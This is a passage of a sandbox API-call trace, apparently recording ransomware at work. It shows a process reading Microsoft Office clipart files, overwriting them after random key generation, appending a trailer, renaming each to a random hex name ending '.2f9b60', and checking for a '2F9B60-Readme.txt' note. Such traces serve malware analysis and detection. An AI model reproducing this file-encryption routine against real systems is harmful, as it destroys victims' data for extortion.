CurrentTime=0x2ccbfaa0 | out: CurrentTime=0x2ccbfaa0*=132462177125614000) returned 0x0 [0107.065] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x3a80ad08 [0107.065] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0xf2045ff [0107.065] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x2c4101ac [0107.065] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x22ce71eb [0107.065] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x2a140dfd [0107.065] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x64b3af0c [0107.065] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x561c02ae [0107.065] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x4b53f6a5 [0107.065] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x32aa7c9d [0107.066] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0xa9703f4 [0107.066] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x764c8746 [0107.066] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x7d57a633 [0107.066] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x63b404f9 [0107.066] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x74181607 [0107.066] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x6429cf51 [0107.066] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x41cb1a77 [0107.066] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x6c7a5c3d [0107.066] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x1a9a5551 [0107.066] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x95f04e [0107.066] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x571199cb [0107.066] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x3c112901 [0107.066] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x398e75c1 [0107.066] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x3dc426b5 [0107.066] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x30bebaa [0107.066] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x3a387647 [0107.066] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x6b5bb883 [0107.066] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x3c7a5715 [0107.066] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x66e53e56 [0107.066] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x5b16472b [0107.066] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x43e19da9 [0107.066] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x3cefd6e0 [0107.066] RtlRandomEx (in: Seed=0x2ccbfa90 | out: Seed=0x2ccbfa90) returned 0x750f6c03 [0107.078] SetFilePointerEx (in: hFile=0x1684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.078] ReadFile (in: hFile=0x1684, lpBuffer=0x41ec85a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2ccbfb00, lpOverlapped=0x0 | out: lpBuffer=0x41ec85a0*, lpNumberOfBytesRead=0x2ccbfb00*=0x3c00, lpOverlapped=0x0) returned 1 [0107.167] SetFilePointerEx (in: hFile=0x1684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0107.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f010 [0107.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a66e0 [0107.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a66e0) returned 1 [0107.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f35950 [0107.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a66e0 [0107.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b60 [0107.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6b60) returned 1 [0107.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 [0107.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0107.169] WriteFile (in: hFile=0x1684, lpBuffer=0x41f35950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2ccbfb00, lpOverlapped=0x0 | out: lpBuffer=0x41f35950*, lpNumberOfBytesWritten=0x2ccbfb00*=0x3c00, lpOverlapped=0x0) returned 1 [0107.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f35950) returned 1 [0107.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ec85a0) returned 1 [0107.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a6b60 [0107.222] SetFilePointerEx (in: hFile=0x1684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0107.222] WriteFile (in: hFile=0x1684, lpBuffer=0x167b80*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2ccbfbb0, lpOverlapped=0x0 | out: lpBuffer=0x167b80*, lpNumberOfBytesWritten=0x2ccbfbb0*=0x10a, lpOverlapped=0x0) returned 1 [0107.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0107.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8673c0 [0107.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7430 [0107.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7430) returned 1 [0107.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0107.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7430 [0107.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7310 [0107.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7310) returned 1 [0107.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8673c0) returned 1 [0107.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0107.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0107.245] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="f6") returned 2 [0107.245] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="3a") returned 2 [0107.245] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="f8") returned 2 [0107.245] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="26") returned 2 [0107.245] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="78") returned 2 [0107.245] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="c5") returned 2 [0107.245] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="4c") returned 2 [0107.245] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="72") returned 2 [0107.245] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="ba") returned 2 [0107.246] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="5e") returned 2 [0107.246] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="79") returned 2 [0107.246] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="4a") returned 2 [0107.246] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="84") returned 2 [0107.246] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="cb") returned 2 [0107.246] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="a7") returned 2 [0107.246] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="21") returned 2 [0107.246] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="46") returned 2 [0107.246] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="3d") returned 2 [0107.246] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="14") returned 2 [0107.246] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="13") returned 2 [0107.246] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="ad") returned 2 [0107.246] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="cd") returned 2 [0107.246] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="5c") returned 2 [0107.246] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="98") returned 2 [0107.246] RtlInitAnsiString (in: DestinationString=0x2ccbfc28, SourceString="f63af82678c54c72ba5e794a84cba721463d1413adcd5c98" | out: DestinationString="f63af82678c54c72ba5e794a84cba721463d1413adcd5c98") [0107.246] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ccbfbf8, SourceString="f63af82678c54c72ba5e794a84cba721463d1413adcd5c98", AllocateDestinationString=1 | out: DestinationString="f63af82678c54c72ba5e794a84cba721463d1413adcd5c98") returned 0x0 [0107.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5a90 [0107.247] wcscat (in: _Dest=0x4205c790, _Source="f63af82678c5" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f63af82678c5") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f63af82678c5" [0107.247] wcscat (in: _Dest=0x4205c790, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f63af82678c5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f63af82678c5.2f9b60" [0107.247] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f63af82678c5.2f9b60", NtPathName=0x2ccbfbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f63af82678c5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0107.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1067c0 [0107.247] NtSetInformationFile (FileHandle=0x1684, IoStatusBlock=0x2ccbfc70, FileInformation=0x1067c0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1067c0) returned 1 [0109.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027d000) returned 1 [0109.747] NtQueryInformationFile (in: FileHandle=0x1684, IoStatusBlock=0x2ccbfc38, FileInformation=0x2ccbfc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ccbfc38, FileInformation=0x2ccbfc48) returned 0x0 [0109.747] NtSetInformationFile (FileHandle=0x1684, IoStatusBlock=0x2ccbfc38, FileInformation=0x2ccbfc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c790) returned 1 [0109.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5a90) returned 1 [0109.763] FlushFileBuffers (hFile=0x1684) returned 1 [0109.773] CloseHandle (hObject=0x1684) returned 1 [0109.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1730 [0109.774] wcscpy (in: _Dest=0x202b1730, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.775] wcscat (in: _Dest=0x202b1730, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1730) returned 1 [0109.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c690) returned 1 Thread: id = 716 os_tid = 0x1214 [0096.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x20 [0107.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF", dwFileAttributes=0x20) returned 1 [0107.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14bc [0107.042] GetFileSizeEx (in: hFile=0x14bc, lpFileSize=0x2ca9fd80 | out: lpFileSize=0x2ca9fd80*=16180) returned 1 [0107.042] SetFilePointerEx (in: hFile=0x14bc, liDistanceToMove=0x3f30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.042] ReadFile (in: hFile=0x14bc, lpBuffer=0x2ca9fd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ca9fd48, lpOverlapped=0x0 | out: lpBuffer=0x2ca9fd00*, lpNumberOfBytesRead=0x2ca9fd48*=0x4, lpOverlapped=0x0) returned 1 [0107.049] SetFilePointerEx (in: hFile=0x14bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c80 [0107.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7740 [0107.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fb0 [0107.050] NtQuerySystemTime (in: CurrentTime=0x2ca9fc40 | out: CurrentTime=0x2ca9fc40*=132462177125458000) returned 0x0 [0107.050] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x28c40c7c [0107.050] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x3ae29b1c [0107.050] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x5436fd43 [0107.050] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x4288d58b [0107.050] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x52cea0bf [0107.050] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0xd7bfd39 [0107.050] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0xcc1aa17 [0107.050] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x456690b3 [0107.050] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0xa1d8948 [0107.050] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x51e29cc8 [0107.050] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x76fef5a9 [0107.050] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x6414d9ce [0107.050] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x432366b1 [0107.050] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x7a023329 [0107.050] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x564e7335 [0107.050] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x6cc5401 [0107.050] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x5155078b [0107.050] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x4e9a8f87 [0107.050] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x7de2244c [0107.050] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x53ef03ae [0107.051] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x7435d578 [0107.051] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x44456ba9 [0107.051] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x6eb79eb3 [0107.051] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x5d59b528 [0107.051] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x251b4938 [0107.051] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x4161b89a [0107.051] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x119a7a48 [0107.051] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0xad63b29 [0107.051] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x1fc5bb30 [0107.051] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0xa658ce8 [0107.051] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x22a43ba9 [0107.051] RtlRandomEx (in: Seed=0x2ca9fc30 | out: Seed=0x2ca9fc30) returned 0x2e9e7cc7 [0107.063] SetFilePointerEx (in: hFile=0x14bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.063] ReadFile (in: hFile=0x14bc, lpBuffer=0x41ec4990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2ca9fca0, lpOverlapped=0x0 | out: lpBuffer=0x41ec4990*, lpNumberOfBytesRead=0x2ca9fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0107.079] SetFilePointerEx (in: hFile=0x14bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0107.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0107.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c80 [0107.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c80) returned 1 [0107.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e9f0f0 [0107.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c80 [0107.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7950 [0107.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7950) returned 1 [0107.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0107.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0107.080] WriteFile (in: hFile=0x14bc, lpBuffer=0x41e9f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2ca9fca0, lpOverlapped=0x0 | out: lpBuffer=0x41e9f0f0*, lpNumberOfBytesWritten=0x2ca9fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0128.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e9f0f0) returned 1 [0128.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ec4990) returned 1 [0128.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced87c0 [0128.352] SetFilePointerEx (in: hFile=0x14bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0128.352] WriteFile (in: hFile=0x14bc, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2ca9fd50, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x2ca9fd50*=0x10a, lpOverlapped=0x0) returned 1 [0128.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0128.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867940 [0128.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7a10 [0128.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7a10) returned 1 [0128.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0128.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7a10 [0128.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77a0 [0128.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced77a0) returned 1 [0128.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867940) returned 1 [0128.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0128.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9e930 [0128.355] sprintf (in: _Dest=0x1cd9e930, _Format="%c%c" | out: _Dest="66") returned 2 [0128.355] sprintf (in: _Dest=0x1cd9e932, _Format="%c%c" | out: _Dest="e9") returned 2 [0128.355] sprintf (in: _Dest=0x1cd9e934, _Format="%c%c" | out: _Dest="f3") returned 2 [0128.355] sprintf (in: _Dest=0x1cd9e936, _Format="%c%c" | out: _Dest="85") returned 2 [0128.355] sprintf (in: _Dest=0x1cd9e938, _Format="%c%c" | out: _Dest="b8") returned 2 [0128.355] sprintf (in: _Dest=0x1cd9e93a, _Format="%c%c" | out: _Dest="ab") returned 2 [0128.355] sprintf (in: _Dest=0x1cd9e93c, _Format="%c%c" | out: _Dest="68") returned 2 [0128.356] sprintf (in: _Dest=0x1cd9e93e, _Format="%c%c" | out: _Dest="4b") returned 2 [0128.356] sprintf (in: _Dest=0x1cd9e940, _Format="%c%c" | out: _Dest="9c") returned 2 [0128.356] sprintf (in: _Dest=0x1cd9e942, _Format="%c%c" | out: _Dest="77") returned 2 [0128.356] sprintf (in: _Dest=0x1cd9e944, _Format="%c%c" | out: _Dest="4b") returned 2 [0128.356] sprintf (in: _Dest=0x1cd9e946, _Format="%c%c" | out: _Dest="18") returned 2 [0128.356] sprintf (in: _Dest=0x1cd9e948, _Format="%c%c" | out: _Dest="6b") returned 2 [0128.356] sprintf (in: _Dest=0x1cd9e94a, _Format="%c%c" | out: _Dest="98") returned 2 [0128.356] sprintf (in: _Dest=0x1cd9e94c, _Format="%c%c" | out: _Dest="48") returned 2 [0128.356] sprintf (in: _Dest=0x1cd9e94e, _Format="%c%c" | out: _Dest="c8") returned 2 [0128.356] sprintf (in: _Dest=0x1cd9e950, _Format="%c%c" | out: _Dest="57") returned 2 [0128.356] sprintf (in: _Dest=0x1cd9e952, _Format="%c%c" | out: _Dest="74") returned 2 [0128.356] sprintf (in: _Dest=0x1cd9e954, _Format="%c%c" | out: _Dest="59") returned 2 [0128.356] sprintf (in: _Dest=0x1cd9e956, _Format="%c%c" | out: _Dest="98") returned 2 [0128.356] sprintf (in: _Dest=0x1cd9e958, _Format="%c%c" | out: _Dest="ca") returned 2 [0128.356] sprintf (in: _Dest=0x1cd9e95a, _Format="%c%c" | out: _Dest="92") returned 2 [0128.356] sprintf (in: _Dest=0x1cd9e95c, _Format="%c%c" | out: _Dest="c2") returned 2 [0128.356] sprintf (in: _Dest=0x1cd9e95e, _Format="%c%c" | out: _Dest="a6") returned 2 [0128.356] RtlInitAnsiString (in: DestinationString=0x2ca9fdc8, SourceString="66e9f385b8ab684b9c774b186b9848c857745998ca92c2a6" | out: DestinationString="66e9f385b8ab684b9c774b186b9848c857745998ca92c2a6") [0128.356] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ca9fd98, SourceString="66e9f385b8ab684b9c774b186b9848c857745998ca92c2a6", AllocateDestinationString=1 | out: DestinationString="66e9f385b8ab684b9c774b186b9848c857745998ca92c2a6") returned 0x0 [0128.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7a3570 [0128.357] wcscat (in: _Dest=0x4205c970, _Source="66e9f385b8ab" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\66e9f385b8ab") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\66e9f385b8ab" [0128.357] wcscat (in: _Dest=0x4205c970, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\66e9f385b8ab.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\66e9f385b8ab.2f9b60" [0128.357] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\66e9f385b8ab.2f9b60", NtPathName=0x2ca9fd70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\66e9f385b8ab.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0128.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107780 [0128.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0128.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46600) returned 1 [0128.359] NtQueryInformationFile (in: FileHandle=0x14bc, IoStatusBlock=0x2ca9fdd8, FileInformation=0x2ca9fde8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ca9fdd8, FileInformation=0x2ca9fde8) returned 0x0 [0128.359] NtSetInformationFile (FileHandle=0x14bc, IoStatusBlock=0x2ca9fdd8, FileInformation=0x2ca9fde8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0128.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c970) returned 1 [0128.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3570) returned 1 [0128.360] FlushFileBuffers (hFile=0x14bc) returned 1 [0128.362] 